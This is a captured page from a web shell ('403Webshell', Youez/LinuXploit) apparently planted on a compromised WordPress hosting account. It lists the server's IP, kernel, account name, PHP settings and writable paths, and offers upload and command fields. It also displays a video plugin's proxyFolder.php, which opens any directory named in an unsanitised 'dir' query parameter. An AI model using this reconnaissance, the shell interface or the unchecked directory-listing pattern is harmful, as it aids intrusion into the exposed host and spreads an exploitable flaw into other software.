403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.224.21.26
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/mobilecreationz.com/wp-content/plugins/fwdsuvp/content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/mobilecreationz.com/wp-content/plugins/fwdsuvp/content/proxyFolder.php
<?php

$url = "http".(!empty($_SERVER['HTTPS'])?"s":"")."://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$url = substr($url, 0, strrpos($url, "/") + 1); 

$videoLabel = isset($_GET['videoLabel']) ? $_GET['videoLabel'] : "Video ";
$dir = (isset($_GET['dir']) ? urldecode($_GET['dir']) : null);
$decodedeURL = urldecode($dir);
$decodedeURL = ltrim($decodedeURL, "/");
$decodedeURL = rtrim($decodedeURL, "/");
$decodedeURL = $decodedeURL . "/";
$url .= $decodedeURL;

$dirHandle = opendir($dir); 
$imlBody .= '{"folder":[';
$main_ar = array();
$all_ar = array();
$ar = array();
$i = 0;

while ($file = readdir($dirHandle)) { 
      if(!is_dir($file) && strpos($file, '.mp4')){
	    $i++; 
		if(strrpos($file, "-mobile") === false) array_push($main_ar, $file);
		$all_ar[$i] = $file;
     } 
} 
sort($main_ar);

for($i=0;$i<count($main_ar);$i++){
	$videoPath = $main_ar[$i];
	
	for($j=0;$j<count($all_ar);$j++){
		if(substr($videoPath, 0, strrpos($videoPath, ".")) . "-mobile.mp4" === $all_ar[$j]){
			$videoPath =  $url.$videoPath . "," . $url.$all_ar[$j];
		}
	}
	if(strrpos($videoPath, "http") === false){
		$ar[$i] = $url.$videoPath;
	}else{
		$ar[$i] = $videoPath;
	}
}

for($i=0;$i<count($ar);$i++){
	$imlBody .= '{"@attributes":{';
	$file = $ar[$i];
	$rawPath = $url.$main_ar[$i];
	$trackTitle;
	
	if(strrpos($file, ".") !== false){
		$rawPath =  substr($rawPath, 0, strrpos($rawPath, "."));
	}
	if($i < 9){
		$trackTitle = $videoLabel .  "0" . ($i + 1);
	}else{
		$trackTitle = $videoLabel . ($i + 1);
	}
	$imlBody .='"data-video-path":"' . $file . '",';
	$imlBody .='"data-thumb-path":"' . $rawPath . '-thumbnail.jpg",';
	$imlBody .='"data-poster-path":"' . $rawPath . '-poster.jpg",';
	$imlBody .='"download-path":"' . $rawPath . '.mp4",';
	$imlBody .='"data-title":"' . $trackTitle . '"';
	
	if($i != count($ar) - 1){
		$imlBody .= "}},";
	}else{
		$imlBody .= "}}";
	}
 };
closedir($dirHandle);
$imlBody .= ']}';
echo $imlBody; 
?>

Youez - 2016 - github.com/yon3zu
LinuXploit